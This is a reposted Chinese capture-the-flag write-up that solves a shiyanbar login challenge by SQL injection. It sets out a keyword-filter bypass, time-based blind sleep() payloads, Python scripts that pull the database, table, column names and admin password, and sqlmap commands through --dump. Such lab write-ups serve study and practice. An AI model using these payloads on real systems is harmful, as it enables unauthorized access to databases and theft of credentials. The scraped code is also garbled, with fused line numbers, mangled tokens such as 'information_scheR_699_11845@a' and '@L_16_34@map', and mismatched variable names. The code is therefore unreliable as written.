PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了实验吧 看起来有点难(手工注入加sqlmap注入)大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

嗯~打开题目看见一个逼格有点高的图

实验吧 看起来有点难(手工注入加sqlmap注入)

查看网页源代码,表单以get的方式传送三个参数(admin,pass,action)给index.PHP,但是限制了两个输入框的最大长度是10,这个是前端的限制,形同虚设。我们可以用按浏览器的F12,改变其值的大小,或者在URL栏中输入都可以。

实验吧 看起来有点难(手工注入加sqlmap注入)

 

然后我们在输入框中随便输入一点测试看会报什么错,或者过滤了什么关键字符,我们可以输入一些敏感的字符串。然后我们可以看见我们在admin中输入的会打印在屏幕上。并且我们发现用户名框把SELEct,#过滤了,而SELEct只是简单的过滤,可以构造成SELESELEctct绕过;而且我们在用户名输入admin时爆的错可以让我们确定正确的用户名就是admin

@H_674_25@

实验吧 看起来有点难(手工注入加sqlmap注入)

既然知道了用户名,且subString,mid语句都没有被过滤。我们开始构造注入语句看看能不能成功。

 http://ctf5.shiyanbar.com/basic/inject/index.PHP?pass=&action=login&admin=admin' and sleep(5) or '1'='0" 

实验吧 看起来有点难(手工注入加sqlmap注入)

嗯~发现页面等了5~6秒才显示。说明语句执行成功了。可以注入!!

开始写python3脚本

爆库名

 

 1 import requests 2 import String 3  4 gress=String.ascii_lowercase+String.ascii_uppercase+String.punctuation+String.digits 5 databasename='' 6  7 for i in range(1, 13):   #假设库名长度为12 8     for playload in gress: 9 10         url = "http://ctf5.shiyanbar.com/basic/inject/index.PHP?pass=&action=login&admin=admin' and case when(substr(database(),%s,1)='%s') then sleep(10) else 1 end or '1'='0" %(i,playload)11         #key={'pass':'','action':'login'}12         try:13             print("正在测试第%d个字符是否为'%s'"%(i,playload))14             r = requests.get(url,timeout=4)15         except:16             suo=017             databasename+=playload18             print("数据库名为是%s"%databaseName)19             break20 21 print(databaseName)

 

 

 

 

实验吧 看起来有点难(手工注入加sqlmap注入)

库名是test

 然后开始爆表名


 1 import requests 2 import String 3  4 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.PHP' 5 str=String.ascii_lowercase+String.ascii_uppercase+String.digits+String.punctuation 6 tableName=[] 7 for i in range(0,5):   #假设web4中有五个表 8     NAME='' 9     flag2=010     for col in range(1,11):#假设每个表的最大长度不超过1011         flag=012         for payload in str:13             url = "http://ctf5.shiyanbar.com/basic/inject/index.PHP?pass=&action=login&admin=admin' and case when(substr((SELESELEctct table_name from information_scheR_699_11845@a.tables where table_scheR_699_11845@a='test' limit 1 offset %d),%d,1)='%s') then sleep(5) else 1 end or '1'='0" %(i,col,payload)14             try:15                 print(url)16                 r = requests.get(url, timeout=4)17             except:18                 flag=119                 flag2=120                 NAME += payload21                 print("第%s个表为是%s" % (i+1,Name))22                 break23         #tablename.append(Name)24         if flag==0:25             break26     if(flag2==0):27         break28     tableName.append(Name)29 30 for a in range(len(tableName)):31     print(tablename[a])


就一张表,表名为admin

爆字段

 

 1 import requests 2 import String 3  4 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.PHP' 5 str=String.ascii_lowercase+String.ascii_uppercase+String.digits+String.punctuation 6 columnName=[] 7 for i in range(0,5): 8     NAME='' 9     flag2=010     for col in range(1,11):#假设每个列名的最大长度不超过1011         flag=012         for payload in str:13             url = "http://ctf5.shiyanbar.com/basic/inject/index.PHP?pass=&action=login&admin=admin' and case when(substr((SELESELEctct column_name from information_scheR_699_11845@a.columns where table_name='admin' limit 1 offset %d),%d,1)='%s') then sleep(5) else 1 end or '1'='0" % (i, col, payload)14             try:15                 print(url)16                 r = requests.get(url, timeout=4)17             except:18                 flag=119                 flag2=120                 NAME += payload21                 print("第%s个字段为是%s" % (i+1,Name))22                 break23         if flag==0:24             break25     if(flag2==0):26         break27     columnName.append(Name)28 29 for a in range(len(columnName)):30     print(columnName[a])

 

 

 


爆出字段内容


 1 import requests 2 import String 3  4 gress=String.ascii_lowercase+String.ascii_uppercase+String.punctuation+String.digits 5 databasename='' 6  7 for i in range(1, 16):   #假设库名长度为15 8     for playload in gress: 9 10         url = "http://ctf5.shiyanbar.com/basic/inject/index.PHP?pass=&action=login&admin=admin' and case when(substr((SELESELEctct password from admin),%d,1)='%s') then sleep(5) else 1 end or '1'='0" %(i,playload)11 12         try:13             print("正在测试第%d个字符是否为'%s'"%(i,playload))14             r = requests.get(url,timeout=4)15         except:16             suo=017             databasename+=playload18             print("内容为是%s"%databaseName)19             break20 21 print(databaseName)


OK 内容就是idnuenna。

 

 

下面用@L_16_34@map来注入。

在@L_16_34@map中输入

  @L_16_34@map.py -u "http://ctf5.shiyanbar.com/basic/inject/index.PHP?pass=&action=login&admin=admin" 

实验吧 看起来有点难(手工注入加sqlmap注入)

发现是可以注入的!

开始爆库名

 @L_16_34@map.py -u "http://ctf5.shiyanbar.com/basic/inject/index.PHP?pass=&action=login&admin=admin" --dbs 

 

实验吧 看起来有点难(手工注入加sqlmap注入)

爆表名

 @L_16_34@map.py -u "http://ctf5.shiyanbar.com/basic/inject/index.PHP?pass=&action=login&admin=admin" --tables -D "test" 

 

实验吧 看起来有点难(手工注入加sqlmap注入)

爆列名

@L_16_34@map.py -u "http://ctf5.shiyanbar.com/basic/inject/index.PHP?pass=&action=login&admin=admin" --columns -T "admin" -D "test"

实验吧 看起来有点难(手工注入加sqlmap注入)

内容

@L_16_34@map.py -u "http://ctf5.shiyanbar.com/basic/inject/index.PHP?pass=&action=login&admin=admin" --dump -C "password" -T "admin" -D "test"

实验吧 看起来有点难(手工注入加sqlmap注入)

好啦,密码已经出来啦

大佬总结

以上是大佬教程为你收集整理的实验吧 看起来有点难(手工注入加sqlmap注入)全部内容,希望文章能够帮你解决实验吧 看起来有点难(手工注入加sqlmap注入)所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: